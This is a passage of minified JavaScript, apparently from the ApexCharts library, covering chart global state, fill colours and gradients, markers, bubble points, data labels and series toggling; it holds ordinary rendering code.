r(t,[{key:"initGlobalVars",value:function(t){t.series=[],t.seriesCandleO=[],t.seriesCandleH=[],t.seriesCandleM=[],t.seriesCandleL=[],t.seriesCandleC=[],t.seriesRangeStart=[],t.seriesRangeEnd=[],t.seriesRange=[],t.seriesPercent=[],t.seriesGoals=[],t.seriesX=[],t.seriesZ=[],t.seriesNames=[],t.seriesTotals=[],t.seriesLog=[],t.seriesColors=[],t.stackedSeriesTotals=[],t.seriesXvalues=[],t.seriesYvalues=[],t.labels=[],t.hasXaxisGroups=!1,t.groups=[],t.hasSeriesGroups=!1,t.seriesGroups=[],t.categoryLabels=[],t.timescaleLabels=[],t.noLabelsProvided=!1,t.resizeTimer=null,t.selectionResizeTimer=null,t.delayedElements=[],t.pointsArray=[],t.dataLabelsRects=[],t.isXNumeric=!1,t.skipLastTimelinelabel=!1,t.skipFirstTimelinelabel=!1,t.isDataXYZ=!1,t.isMultiLineX=!1,t.isMultipleYAxis=!1,t.maxY=-Number.MAX_VALUE,t.minY=Number.MIN_VALUE,t.minYArr=[],t.maxYArr=[],t.maxX=-Number.MAX_VALUE,t.minX=Number.MAX_VALUE,t.initialMaxX=-Number.MAX_VALUE,t.initialMinX=Number.MAX_VALUE,t.maxDate=0,t.minDate=Number.MAX_VALUE,t.minZ=Number.MAX_VALUE,t.maxZ=-Number.MAX_VALUE,t.minXDiff=Number.MAX_VALUE,t.yAxisScale=[],t.xAxisScale=null,t.xAxisTicksPositions=[],t.yLabelsCoords=[],t.yTitleCoords=[],t.barPadForNumericAxis=0,t.padHorizontal=0,t.xRange=0,t.yRange=[],t.zRange=0,t.dataPoints=0,t.xTickAmount=0}},{key:"globalVars",value:function(t){return{chartID:null,cuid:null,events:{beforeMount:[],mounted:[],updated:[],clicked:[],selection:[],dataPointSelection:[],zoomed:[],scrolled:[]},colors:[],clientX:null,clientY:null,fill:{colors:[]},stroke:{colors:[]},dataLabels:{style:{colors:[]}},radarPolygons:{fill:{colors:[]}},markers:{colors:[],size:t.markers.size,largestSize:0},animationEnded:!1,isTouchDevice:"ontouchstart"in window||navigator.msMaxTouchPoints,isDirty:!1,isExecCalled:!1,initialConfig:null,initialSeries:[],lastXAxis:[],lastYAxis:[],columnSeries:null,labels:[],timescaleLabels:[],noLabelsProvided:!1,allSeriesCollapsed:!1,collapsedSeries:[],collapsedSeriesIndices:[],ancillaryCollapsedSeries:[],ancillaryCollapsedSeriesIndices:[],risingSeries:[],dataFormatXNumeric:!1,capturedSeriesIndex:-1,capturedDataPointIndex:-1,selectedDataPoints:[],goldenPadding:35,invalidLogScale:!1,ignoreYAxisIndexes:[],yAxisSameScaleIndices:[],maxValsInArrayIndex:0,radialSize:0,selection:void 0,zoomEnabled:"zoom"===t.chart.toolbar.autoSelected&&t.chart.toolbar.tools.zoom&&t.chart.zoom.enabled,panEnabled:"pan"===t.chart.toolbar.autoSelected&&t.chart.toolbar.tools.pan,selectionEnabled:"selection"===t.chart.toolbar.autoSelected&&t.chart.toolbar.tools.selection,yaxis:null,mousedown:!1,lastClientPosition:{},visibleXRange:void 0,yValueDecimal:0,total:0,SVGNS:"http://www.w3.org/2000/svg",svgWidth:0,svgHeight:0,noData:!1,locale:{},dom:{},memory:{methodsToExec:[]},shouldAnimate:!0,skipLastTimelinelabel:!1,skipFirstTimelinelabel:!1,delayedElements:[],axisCharts:!0,isDataXYZ:!1,resized:!1,resizeTimer:null,comboCharts:!1,dataChanged:!1,previousPaths:[],allSeriesHasEqualX:!0,pointsArray:[],dataLabelsRects:[],lastDrawnDataLabelsIndexes:[],hasNullValues:!1,easing:null,zoomed:!1,gridWidth:0,gridHeight:0,rotateXLabels:!1,defaultLabels:!1,xLabelFormatter:void 0,yLabelFormatters:[],xaxisTooltipFormatter:void 0,ttKeyFormatter:void 0,ttVal:void 0,ttZFormatter:void 0,LINE_HEIGHT_RATIO:1.618,xAxisLabelsHeight:0,xAxisGroupLabelsHeight:0,xAxisLabelsWidth:0,yAxisLabelsWidth:0,scaleX:1,scaleY:1,translateX:0,translateY:0,translateYAxisX:[],yAxisWidths:[],translateXAxisY:0,translateXAxisX:0,tooltip:null}}},{key:"init",value:function(t){var e=this.globalVars(t);return this.initGlobalVars(e),e.initialConfig=x.extend({},t),e.initialSeries=x.clone(t.series),e.lastXAxis=x.clone(e.initialConfig.xaxis),e.lastYAxis=x.clone(e.initialConfig.yaxis),e}}]),t}(),F=function(){function t(e){a(this,t),this.opts=e}return r(t,[{key:"init",value:function(){var t=new E(this.opts).init({responsiveOverride:!1});return{config:t,globals:(new Y).init(t)}}}]),t}(),R=function(){function t(e){a(this,t),this.ctx=e,this.w=e.w,this.opts=null,this.seriesIndex=0}return r(t,[{key:"clippedImgArea",value:function(t){var e=this.w,i=e.config,a=parseInt(e.globals.gridWidth,10),s=parseInt(e.globals.gridHeight,10),r=a>s?a:s,o=t.image,n=0,l=0;void 0===t.width&&void 0===t.height?void 0!==i.fill.image.width&&void 0!==i.fill.image.height?(n=i.fill.image.width+1,l=i.fill.image.height):(n=r+1,l=r):(n=t.width,l=t.height);var h=document.createElementNS(e.globals.SVGNS,"pattern");m.setAttrs(h,{id:t.patternID,patternUnits:t.patternUnits?t.patternUnits:"userSpaceOnUse",width:n+"px",height:l+"px"});var c=document.createElementNS(e.globals.SVGNS,"image");h.appendChild(c),c.setAttributeNS(window.SVG.xlink,"href",o),m.setAttrs(c,{x:0,y:0,preserveAspectRatio:"none",width:n+"px",height:l+"px"}),c.style.opacity=t.opacity,e.globals.dom.elDefs.node.appendChild(h)}},{key:"getSeriesIndex",value:function(t){var e=this.w,i=e.config.chart.type;return("bar"===i||"rangeBar"===i)&&e.config.plotOptions.bar.distributed||"heatmap"===i||"treemap"===i?this.seriesIndex=t.seriesNumber:this.seriesIndex=t.seriesNumber%e.globals.series.length,this.seriesIndex}},{key:"fillPath",value:function(t){var e=this.w;this.opts=t;var i,a,s,r=this.w.config;this.seriesIndex=this.getSeriesIndex(t);var o=this.getFillColors()[this.seriesIndex];void 0!==e.globals.seriesColors[this.seriesIndex]&&(o=e.globals.seriesColors[this.seriesIndex]),"function"==typeof o&&(o=o({seriesIndex:this.seriesIndex,dataPointIndex:t.dataPointIndex,value:t.value,w:e}));var n=t.fillType?t.fillType:this.getFillType(this.seriesIndex),l=Array.isArray(r.fill.opacity)?r.fill.opacity[this.seriesIndex]:r.fill.opacity;t.color&&(o=t.color);var h=o;if(-1===o.indexOf("rgb")?o.length<9&&(h=x.hexToRgba(o,l)):o.indexOf("rgba")>-1&&(l=x.getOpacityFromRGBA(o)),t.opacity&&(l=t.opacity),"pattern"===n&&(a=this.handlePatternFill({fillConfig:t.fillConfig,patternFill:a,fillColor:o,fillOpacity:l,defaultColor:h})),"gradient"===n&&(s=this.handleGradientFill({fillConfig:t.fillConfig,fillColor:o,fillOpacity:l,i:this.seriesIndex})),"image"===n){var c=r.fill.image.src,d=t.patternID?t.patternID:"";this.clippedImgArea({opacity:l,image:Array.isArray(c)?t.seriesNumber<c.length?c[t.seriesNumber]:c[0]:c,width:t.width?t.width:void 0,height:t.height?t.height:void 0,patternUnits:t.patternUnits,patternID:"pattern".concat(e.globals.cuid).concat(t.seriesNumber+1).concat(d)}),i="url(#pattern".concat(e.globals.cuid).concat(t.seriesNumber+1).concat(d,")")}else i="gradient"===n?s:"pattern"===n?a:h;return t.solid&&(i=h),i}},{key:"getFillType",value:function(t){var e=this.w;return Array.isArray(e.config.fill.type)?e.config.fill.type[t]:e.config.fill.type}},{key:"getFillColors",value:function(){var t=this.w,e=t.config,i=this.opts,a=[];return t.globals.comboCharts?"line"===t.config.series[this.seriesIndex].type?Array.isArray(t.globals.stroke.colors)?a=t.globals.stroke.colors:a.push(t.globals.stroke.colors):Array.isArray(t.globals.fill.colors)?a=t.globals.fill.colors:a.push(t.globals.fill.colors):"line"===e.chart.type?Array.isArray(t.globals.stroke.colors)?a=t.globals.stroke.colors:a.push(t.globals.stroke.colors):Array.isArray(t.globals.fill.colors)?a=t.globals.fill.colors:a.push(t.globals.fill.colors),void 0!==i.fillColors&&(a=[],Array.isArray(i.fillColors)?a=i.fillColors.slice():a.push(i.fillColors)),a}},{key:"handlePatternFill",value:function(t){var e=t.fillConfig,i=t.patternFill,a=t.fillColor,s=t.fillOpacity,r=t.defaultColor,o=this.w.config.fill;e&&(o=e);var n=this.opts,l=new m(this.ctx),h=Array.isArray(o.pattern.strokeWidth)?o.pattern.strokeWidth[this.seriesIndex]:o.pattern.strokeWidth,c=a;Array.isArray(o.pattern.style)?i=void 0!==o.pattern.style[n.seriesNumber]?l.drawPattern(o.pattern.style[n.seriesNumber],o.pattern.width,o.pattern.height,c,h,s):r:i=l.drawPattern(o.pattern.style,o.pattern.width,o.pattern.height,c,h,s);return i}},{key:"handleGradientFill",value:function(t){var i=t.fillColor,a=t.fillOpacity,s=t.fillConfig,r=t.i,o=this.w.config.fill;s&&(o=e(e({},o),s));var n,l=this.opts,h=new m(this.ctx),c=new x,d=o.gradient.type,g=i,u=void 0===o.gradient.opacityFrom?a:Array.isArray(o.gradient.opacityFrom)?o.gradient.opacityFrom[r]:o.gradient.opacityFrom;g.indexOf("rgba")>-1&&(u=x.getOpacityFromRGBA(g));var p=void 0===o.gradient.opacityTo?a:Array.isArray(o.gradient.opacityTo)?o.gradient.opacityTo[r]:o.gradient.opacityTo;if(void 0===o.gradient.gradientToColors||0===o.gradient.gradientToColors.length)n="dark"===o.gradient.shade?c.shadeColor(-1*parseFloat(o.gradient.shadeIntensity),i.indexOf("rgb")>-1?x.rgb2hex(i):i):c.shadeColor(parseFloat(o.gradient.shadeIntensity),i.indexOf("rgb")>-1?x.rgb2hex(i):i);else if(o.gradient.gradientToColors[l.seriesNumber]){var f=o.gradient.gradientToColors[l.seriesNumber];n=f,f.indexOf("rgba")>-1&&(p=x.getOpacityFromRGBA(f))}else n=i;if(o.gradient.gradientFrom&&(g=o.gradient.gradientFrom),o.gradient.gradientTo&&(n=o.gradient.gradientTo),o.gradient.inverseColors){var b=g;g=n,n=b}return g.indexOf("rgb")>-1&&(g=x.rgb2hex(g)),n.indexOf("rgb")>-1&&(n=x.rgb2hex(n)),h.drawGradient(d,g,n,u,p,l.size,o.gradient.stops,o.gradient.colorStops,r)}}]),t}(),H=function(){function t(e,i){a(this,t),this.ctx=e,this.w=e.w}return r(t,[{key:"setGlobalMarkerSize",value:function(){var t=this.w;if(t.globals.markers.size=Array.isArray(t.config.markers.size)?t.config.markers.size:[t.config.markers.size],t.globals.markers.size.length>0){if(t.globals.markers.size.length<t.globals.series.length+1)for(var e=0;e<=t.globals.series.length;e++)void 0===t.globals.markers.size[e]&&t.globals.markers.size.push(t.globals.markers.size[0])}else t.globals.markers.size=t.config.series.map((function(e){return t.config.markers.size}))}},{key:"plotChartMarkers",value:function(t,e,i,a){var s,r=arguments.length>4&&void 0!==arguments[4]&&arguments[4],o=this.w,n=e,l=t,h=null,c=new m(this.ctx),d=o.config.markers.discrete&&o.config.markers.discrete.length;if((o.globals.markers.size[e]>0||r||d)&&(h=c.group({class:r||d?"":"apexcharts-series-markers"})).attr("clip-path","url(#gridRectMarkerMask".concat(o.globals.cuid,")")),Array.isArray(l.x))for(var g=0;g<l.x.length;g++){var u=i;1===i&&0===g&&(u=0),1===i&&1===g&&(u=1);var p="apexcharts-marker";if("line"!==o.config.chart.type&&"area"!==o.config.chart.type||o.globals.comboCharts||o.config.tooltip.intersect||(p+=" no-pointer-events"),(Array.isArray(o.config.markers.size)?o.globals.markers.size[e]>0:o.config.markers.size>0)||r||d){x.isNumber(l.y[g])?p+=" w".concat(x.randomId()):p="apexcharts-nullpoint";var f=this.getMarkerConfig({cssClass:p,seriesIndex:e,dataPointIndex:u});o.config.series[n].data[u]&&(o.config.series[n].data[u].fillColor&&(f.pointFillColor=o.config.series[n].data[u].fillColor),o.config.series[n].data[u].strokeColor&&(f.pointStrokeColor=o.config.series[n].data[u].strokeColor)),a&&(f.pSize=a),(l.x[g]<0||l.x[g]>o.globals.gridWidth||l.y[g]<0||l.y[g]>o.globals.gridHeight)&&(f.pSize=0),(s=c.drawMarker(l.x[g],l.y[g],f)).attr("rel",u),s.attr("j",u),s.attr("index",e),s.node.setAttribute("default-marker-size",f.pSize),new v(this.ctx).setSelectionFilter(s,e,u),this.addEvents(s),h&&h.add(s)}else void 0===o.globals.pointsArray[e]&&(o.globals.pointsArray[e]=[]),o.globals.pointsArray[e].push([l.x[g],l.y[g]])}return h}},{key:"getMarkerConfig",value:function(t){var e=t.cssClass,i=t.seriesIndex,a=t.dataPointIndex,s=void 0===a?null:a,r=t.finishRadius,o=void 0===r?null:r,n=this.w,l=this.getMarkerStyle(i),h=n.globals.markers.size[i],c=n.config.markers;return null!==s&&c.discrete.length&&c.discrete.map((function(t){t.seriesIndex===i&&t.dataPointIndex===s&&(l.pointStrokeColor=t.strokeColor,l.pointFillColor=t.fillColor,h=t.size,l.pointShape=t.shape)})),{pSize:null===o?h:o,pRadius:c.radius,width:Array.isArray(c.width)?c.width[i]:c.width,height:Array.isArray(c.height)?c.height[i]:c.height,pointStrokeWidth:Array.isArray(c.strokeWidth)?c.strokeWidth[i]:c.strokeWidth,pointStrokeColor:l.pointStrokeColor,pointFillColor:l.pointFillColor,shape:l.pointShape||(Array.isArray(c.shape)?c.shape[i]:c.shape),class:e,pointStrokeOpacity:Array.isArray(c.strokeOpacity)?c.strokeOpacity[i]:c.strokeOpacity,pointStrokeDashArray:Array.isArray(c.strokeDashArray)?c.strokeDashArray[i]:c.strokeDashArray,pointFillOpacity:Array.isArray(c.fillOpacity)?c.fillOpacity[i]:c.fillOpacity,seriesIndex:i}}},{key:"addEvents",value:function(t){var e=this.w,i=new m(this.ctx);t.node.addEventListener("mouseenter",i.pathMouseEnter.bind(this.ctx,t)),t.node.addEventListener("mouseleave",i.pathMouseLeave.bind(this.ctx,t)),t.node.addEventListener("mousedown",i.pathMouseDown.bind(this.ctx,t)),t.node.addEventListener("click",e.config.markers.onClick),t.node.addEventListener("dblclick",e.config.markers.onDblClick),t.node.addEventListener("touchstart",i.pathMouseDown.bind(this.ctx,t),{passive:!0})}},{key:"getMarkerStyle",value:function(t){var e=this.w,i=e.globals.markers.colors,a=e.config.markers.strokeColor||e.config.markers.strokeColors;return{pointStrokeColor:Array.isArray(a)?a[t]:a,pointFillColor:Array.isArray(i)?i[t]:i}}}]),t}(),D=function(){function t(e){a(this,t),this.ctx=e,this.w=e.w,this.initialAnim=this.w.config.chart.animations.enabled,this.dynamicAnim=this.initialAnim&&this.w.config.chart.animations.dynamicAnimation.enabled}return r(t,[{key:"draw",value:function(t,e,i){var a=this.w,s=new m(this.ctx),r=i.realIndex,o=i.pointsPos,n=i.zRatio,l=i.elParent,h=s.group({class:"apexcharts-series-markers apexcharts-series-".concat(a.config.chart.type)});if(h.attr("clip-path","url(#gridRectMarkerMask".concat(a.globals.cuid,")")),Array.isArray(o.x))for(var c=0;c<o.x.length;c++){var d=e+1,g=!0;0===e&&0===c&&(d=0),0===e&&1===c&&(d=1);var u=0,p=a.globals.markers.size[r];if(n!==1/0){var f=a.config.plotOptions.bubble;p=a.globals.seriesZ[r][d],f.zScaling&&(p/=n),f.minBubbleRadius&&p<f.minBubbleRadius&&(p=f.minBubbleRadius),f.maxBubbleRadius&&p>f.maxBubbleRadius&&(p=f.maxBubbleRadius)}a.config.chart.animations.enabled||(u=p);var x=o.x[c],b=o.y[c];if(u=u||0,null!==b&&void 0!==a.globals.series[r][d]||(g=!1),g){var v=this.drawPoint(x,b,u,p,r,d,e);h.add(v)}l.add(h)}}},{key:"drawPoint",value:function(t,e,i,a,s,r,o){var n=this.w,l=s,h=new b(this.ctx),c=new v(this.ctx),d=new R(this.ctx),g=new H(this.ctx),u=new m(this.ctx),p=g.getMarkerConfig({cssClass:"apexcharts-marker",seriesIndex:l,dataPointIndex:r,finishRadius:"bubble"===n.config.chart.type||n.globals.comboCharts&&n.config.series[s]&&"bubble"===n.config.series[s].type?a:null});a=p.pSize;var f,x=d.fillPath({seriesNumber:s,dataPointIndex:r,color:p.pointFillColor,patternUnits:"objectBoundingBox",value:n.globals.series[s][o]});if("circle"===p.shape?f=u.drawCircle(i):"square"!==p.shape&&"rect"!==p.shape||(f=u.drawRect(0,0,p.width-p.pointStrokeWidth/2,p.height-p.pointStrokeWidth/2,p.pRadius)),n.config.series[l].data[r]&&n.config.series[l].data[r].fillColor&&(x=n.config.series[l].data[r].fillColor),f.attr({x:t-p.width/2-p.pointStrokeWidth/2,y:e-p.height/2-p.pointStrokeWidth/2,cx:t,cy:e,fill:x,"fill-opacity":p.pointFillOpacity,stroke:p.pointStrokeColor,r:a,"stroke-width":p.pointStrokeWidth,"stroke-dasharray":p.pointStrokeDashArray,"stroke-opacity":p.pointStrokeOpacity}),n.config.chart.dropShadow.enabled){var y=n.config.chart.dropShadow;c.dropShadow(f,y,s)}if(!this.initialAnim||n.globals.dataChanged||n.globals.resized)n.globals.animationEnded=!0;else{var w=n.config.chart.animations.speed;h.animateMarker(f,0,"circle"===p.shape?a:{width:p.width,height:p.height},w,n.globals.easing,(function(){window.setTimeout((function(){h.animationCompleted(f)}),100)}))}if(n.globals.dataChanged&&"circle"===p.shape)if(this.dynamicAnim){var k,A,S,C,L=n.config.chart.animations.dynamicAnimation.speed;null!=(C=n.globals.previousPaths[s]&&n.globals.previousPaths[s][o])&&(k=C.x,A=C.y,S=void 0!==C.r?C.r:a);for(var P=0;P<n.globals.collapsedSeries.length;P++)n.globals.collapsedSeries[P].index===s&&(L=1,a=0);0===t&&0===e&&(a=0),h.animateCircle(f,{cx:k,cy:A,r:S},{cx:t,cy:e,r:a},L,n.globals.easing)}else f.attr({r:a});return f.attr({rel:r,j:r,index:s,"default-marker-size":a}),c.setSelectionFilter(f,s,r),g.addEvents(f),f.node.classList.add("apexcharts-marker"),f}},{key:"centerTextInBubble",value:function(t){var e=this.w;return{y:t+=parseInt(e.config.dataLabels.style.fontSize,10)/4}}}]),t}(),O=function(){function t(e){a(this,t),this.ctx=e,this.w=e.w}return r(t,[{key:"dataLabelsCorrection",value:function(t,e,i,a,s,r,o){var n=this.w,l=!1,h=new m(this.ctx).getTextRects(i,o),c=h.width,d=h.height;e<0&&(e=0),e>n.globals.gridHeight+d&&(e=n.globals.gridHeight+d/2),void 0===n.globals.dataLabelsRects[a]&&(n.globals.dataLabelsRects[a]=[]),n.globals.dataLabelsRects[a].push({x:t,y:e,width:c,height:d});var g=n.globals.dataLabelsRects[a].length-2,u=void 0!==n.globals.lastDrawnDataLabelsIndexes[a]?n.globals.lastDrawnDataLabelsIndexes[a][n.globals.lastDrawnDataLabelsIndexes[a].length-1]:0;if(void 0!==n.globals.dataLabelsRects[a][g]){var p=n.globals.dataLabelsRects[a][u];(t>p.x+p.width+2||e>p.y+p.height+2||t+c<p.x)&&(l=!0)}return(0===s||r)&&(l=!0),{x:t,y:e,textRects:h,drawnextLabel:l}}},{key:"drawDataLabel",value:function(t){var e=this,i=t.type,a=t.pos,s=t.i,r=t.j,o=t.isRangeStart,n=t.strokeWidth,l=void 0===n?2:n,h=this.w,c=new m(this.ctx),d=h.config.dataLabels,g=0,u=0,p=r,f=null;if(!d.enabled||!Array.isArray(a.x))return f;f=c.group({class:"apexcharts-data-labels"});for(var x=0;x<a.x.length;x++)if(g=a.x[x]+d.offsetX,u=a.y[x]+d.offsetY+l,!isNaN(g)){1===r&&0===x&&(p=0),1===r&&1===x&&(p=1);var b=h.globals.series[s][p];"rangeArea"===i&&(b=o?h.globals.seriesRangeStart[s][p]:h.globals.seriesRangeEnd[s][p]);var v="",y=function(t){return h.config.dataLabels.formatter(t,{ctx:e.ctx,seriesIndex:s,dataPointIndex:p,w:h})};if("bubble"===h.config.chart.type)v=y(b=h.globals.seriesZ[s][p]),u=a.y[x],u=new D(this.ctx).centerTextInBubble(u,s,p).y;else void 0!==b&&(v=y(b));this.plotDataLabelsText({x:g,y:u,text:v,i:s,j:p,parent:f,offsetCorrection:!0,dataLabelsConfig:h.config.dataLabels})}return f}},{key:"plotDataLabelsText",value:function(t){var e=this.w,i=new m(this.ctx),a=t.x,s=t.y,r=t.i,o=t.j,n=t.text,l=t.textAnchor,h=t.fontSize,c=t.parent,d=t.dataLabelsConfig,g=t.color,u=t.alwaysDrawDataLabel,p=t.offsetCorrection;if(!(Array.isArray(e.config.dataLabels.enabledOnSeries)&&e.config.dataLabels.enabledOnSeries.indexOf(r)<0)){var f={x:a,y:s,drawnextLabel:!0,textRects:null};p&&(f=this.dataLabelsCorrection(a,s,n,r,o,u,parseInt(d.style.fontSize,10))),e.globals.zoomed||(a=f.x,s=f.y),f.textRects&&(a<-10-f.textRects.width||a>e.globals.gridWidth+f.textRects.width+10)&&(n="");var x=e.globals.dataLabels.style.colors[r];(("bar"===e.config.chart.type||"rangeBar"===e.config.chart.type)&&e.config.plotOptions.bar.distributed||e.config.dataLabels.distributed)&&(x=e.globals.dataLabels.style.colors[o]),"function"==typeof x&&(x=x({series:e.globals.series,seriesIndex:r,dataPointIndex:o,w:e})),g&&(x=g);var b=d.offsetX,y=d.offsetY;if("bar"!==e.config.chart.type&&"rangeBar"!==e.config.chart.type||(b=0,y=0),f.drawnextLabel){var w=i.drawText({width:100,height:parseInt(d.style.fontSize,10),x:a+b,y:s+y,foreColor:x,textAnchor:l||d.textAnchor,text:n,fontSize:h||d.style.fontSize,fontFamily:d.style.fontFamily,fontWeight:d.style.fontWeight||"normal"});if(w.attr({class:"apexcharts-datalabel",cx:a,cy:s}),d.dropShadow.enabled){var k=d.dropShadow;new v(this.ctx).dropShadow(w,k)}c.add(w),void 0===e.globals.lastDrawnDataLabelsIndexes[r]&&(e.globals.lastDrawnDataLabelsIndexes[r]=[]),e.globals.lastDrawnDataLabelsIndexes[r].push(o)}}}},{key:"addBackgroundToDataLabel",value:function(t,e){var i=this.w,a=i.config.dataLabels.background,s=a.padding,r=a.padding/2,o=e.width,n=e.height,l=new m(this.ctx).drawRect(e.x-s,e.y-r/2,o+2*s,n+r,a.borderRadius,"transparent"===i.config.chart.background?"#fff":i.config.chart.background,a.opacity,a.borderWidth,a.borderColor);a.dropShadow.enabled&&new v(this.ctx).dropShadow(l,a.dropShadow);return l}},{key:"dataLabelsBackground",value:function(){var t=this.w;if("bubble"!==t.config.chart.type)for(var e=t.globals.dom.baseEl.querySelectorAll(".apexcharts-datalabels text"),i=0;i<e.length;i++){var a=e[i],s=a.getBBox(),r=null;if(s.width&&s.height&&(r=this.addBackgroundToDataLabel(a,s)),r){a.parentNode.insertBefore(r.node,a);var o=a.getAttribute("fill");t.config.chart.animations.enabled&&!t.globals.resized&&!t.globals.dataChanged?r.animate().attr({fill:o}):r.attr({fill:o}),a.setAttribute("fill",t.config.dataLabels.background.foreColor)}}}},{key:"bringForward",value:function(){for(var t=this.w,e=t.globals.dom.baseEl.querySelectorAll(".apexcharts-datalabels"),i=t.globals.dom.baseEl.querySelector(".apexcharts-plot-series:last-child"),a=0;a<e.length;a++)i&&i.insertBefore(e[a],i.nextSibling)}}]),t}(),N=function(){function t(e){a(this,t),this.ctx=e,this.w=e.w,this.legendInactiveClass="legend-mouseover-inactive"}return r(t,[{key:"getAllSeriesEls",value:function(){return this.w.globals.dom.baseEl.getElementsByClassName("apexcharts-series")}},{key:"getSeriesByName",value:function(t){return this.w.globals.dom.baseEl.querySelector(".apexcharts-inner .apexcharts-series[seriesName='".concat(x.escapeString(t),"']"))}},{key:"isSeriesHidden",value:function(t){var e=this.getSeriesByName(t),i=parseInt(e.getAttribute("data:realIndex"),10);return{isHidden:e.classList.contains("apexcharts-series-collapsed"),realIndex:i}}},{key:"addCollapsedClassToSeries",value:function(t,e){var i=this.w;function a(i){for(var a=0;a<i.length;a++)i[a].index===e&&t.node.classList.add("apexcharts-series-collapsed")}a(i.globals.collapsedSeries),a(i.globals.ancillaryCollapsedSeries)}},{key:"toggleSeries",value:function(t){var e=this.isSeriesHidden(t);return this.ctx.legend.legendHelpers.toggleDataSeries(e.realIndex,e.isHidden),e.isHidden}},{key:"showSeries",value:function(t){var e=this.isSeriesHidden(t);e.isHidden&&this.ctx.legend.legendHelpers.toggleDataSeries(e.realIndex,!0)}},{key:"hideSeries",value:function(t){var e=this.isSeriesHidden(t);e.isHidden||this.ctx.legend.legendHelpers.toggleDataSeries(e.realIndex,!1)}},{key:"resetSeries",value:function(){var t=!(arguments.length>0&&void 0!==arguments[0])||arguments[0],e=!(arguments.length>1&&void 0!==arguments[1])||arguments[1],i=!(arguments.length>2&&void 0!==arguments[2])||arguments[2],a=this.w,s=x.clone(a.globals.initialSeries);a.globals.previousPaths=[],i?(a.globals.collapsedSeries=[],a.globals.ancillaryCollapsedSeries=[],a.globals.collapsedSeriesIndices=[],a.globals.ancillaryCollapsedSeriesIndices=[]):s=this.emptyCollapsedSeries(s),a.config.series=s,t&&(e&&(a.globals.zoomed=!1,this.ctx.updateHelpers.revertDefaultAxisMinMax()),this.ctx.updateHelpers._updateSeries(s,a.config.chart.animations.dynamicAnimation.enabled))}},{key:"emptyCollapsedSeries",value:function(t){for(var e=this.w,i=0;i<t.length;i++)e.globals.collapsedSeriesIndices.indexOf(i)>-1&&(t[i].data=[]);return t}},{key:"toggleSeriesOnHover",value:function(t,e){var i=this.w;e||(e=t.target);var a=i.globals.dom.baseEl.querySelectorAll(".apexcharts-series, .apexcharts-datalabels");if("mousemove"===t.type){var s=parseInt(e.getAttribute("rel"),10)-1,r=null,o=null;i.globals.axisCharts||"radialBar"===i.config.chart.type?i.globals.axisCharts?(r=i.globals.dom.baseEl.querySelector(".apexcharts-series[data\\:realIndex='".concat(s,"']")),o=i.globals.dom.baseEl.querySelector(".apexcharts-datalabels[data\\:realIndex='".concat(s,"']"))):r=i.globals.dom.baseEl.querySelector(".apexcharts-series[rel='".concat(s+1,"']")):r=i.globals.dom.baseEl.querySelector(".apexcharts-series[rel='".concat(s+1,"'] path"));for(var n=0;n<a.length;n++)a[n].classList.add(this.legendInactiveClass);null!==r&&(i.globals.axisCharts||r.parentNode.classList.remove(this.legendInactiveClass),r.classList.remove(this.legendInactiveClass),null!==o&&o.classList.remove(this.legendInactiveClass))}else if("mouseout"===t.type)for(var l=0;l<a.length;l++)a[l].classList.remove(this.legendInactiveClass)}},{key:"highlightRangeInSeries",value:function(t,e){var i=this,a=this.w,s=a.globals.dom.baseEl.getElementsByClassName("apexcharts-heatmap-rect"),r=function(t){for(var e=0;e<s.length;e++)s[e].classList[t](i.legendInactiveClass)};if("mousemove"===t.type){var o=parseInt(e.getAttribute("rel"),10)-1;r("add"),function(t){for(var e=0;e<s.length;e++){var a=parseInt(s[e].getAttribute("val"),10);a>=t.from&&a<=t.to&&s[e].classList.remove(i.legendInactiveClass)}}(a.config.plotOptions.heatmap.colorScale.ranges[o])}else"mouseout"===t.type&&r("remove")}},{key:"getActiveConfigSeriesIndex",value:function(){var t=arguments.length>0&&void 0!==arguments[0]?arguments[0]:"asc",e=arguments.length>1&&void 0!==arguments[1]?arguments[1]:[],i=this.w,a=0;if(i.config.series.length>1)for(var s=i.config.series.map((function(t,a){return t.data&&t.data.length>0&&-1===i.globals.collapsedSeriesIndices.indexOf(a)&&(!i.globals.comboCharts||0===e.length||e.length&&e.indexOf(i.config.series[a].type)>-1)?a:-1})),r="asc"===t?0:s.length-1;"asc"===t?r<s.length:r>=0;"asc"===t?r++:r--)if(-1!==s[r]){a=s[r];break}return a}},{key:"getBarSeriesIndices",value:function(){return this.w.globals.comboCharts?this.w.config.series.map((function(t,e){return"bar"===t.type||"column"===t.type?e:-1})).filter((function(t){return-1!==t})):this.w.config.series.map((function(t,e){return e}))}},{key:"getPreviousPaths",value:function(){var t=this.w;function e(e,i,a){for(var s=e[i].childNodes,r={type:a,paths:[],realIndex:e[i].getAttribute("data:realIndex")},o=0;o<s.length;o++)if(s[o].hasAttribute("pathTo")){var n=s[o].getAttribute("pathTo");r.paths.push({d:n})}t.globals.previousPaths.push(r)}t.globals.previousPaths=[];["line","area","bar","rangebar","rangeArea","candlestick","radar"].forEach((function(i){for(var a,s=(a=i,t.globals.dom.baseEl.querySelectorAll(".apexcharts-".concat(a,"-series .apexcharts-series"))),r=0;r<s.length;r++)e(s,r,i)})),this.handlePrevBubbleScatterPaths("bubble"),this.handlePrevBubbleScatterPaths("scatter");var i=t.globals.dom.baseEl.querySelectorAll(".apexcharts-".concat(t.config.chart.type," .apexcharts-series"));if(i.length>0)for(var a=function(e){for(var i=t.globals.dom.baseEl.querySelectorAll(".apexcharts-".concat(t.config.chart.type," .apexcharts-series[data\\:realIndex='").concat(e,"'] rect")),a=[],s=function(t){var e=function(e){return i[t].getAttribute(e)},s={x:parseFloat(e("x")),y:parseFloat(e("y")),width:parseFloat(e("width")),height:parseFloat(e("height"))};a.push({rect:s,color:i[t].getAttribute("color")})},r=0;r<i.length;r++)s(r);t.globals.previousPaths.push(a)},s=0;s<i.length;s++)a(s);t.globals.axisCharts||(t.globals.previousPaths=t.globals.series)}},{key:"handlePrevBubbleScatterPaths",value:function(t){var e=this.w,i=e.globals.dom.baseEl.querySelectorAll(".apexcharts-".concat(t,"-series .apexcharts-series"));if(i.length>0)for(var a=0;a<i.length;a++){for(var s=e.globals.dom.baseEl.querySelectorAll(".apexcharts-".concat(t,"-series .apexcharts-series[data\\:realIndex='").concat(a,"'] circle")),r=[],o=0;o<s.length;o++)r.push({x:s[o].getAttribute("cx"),y:s[o].getAttribute("cy"),r:s[o].getAttribute("r")});e.globals.previousPaths.push(r)}}},{key:"clearPreviousPaths",value:function(){var t=this.w;t.globals.previousPaths=[],t.globals.allSeriesCollapsed=!1}},{key:"handleNoData",value:function(){var 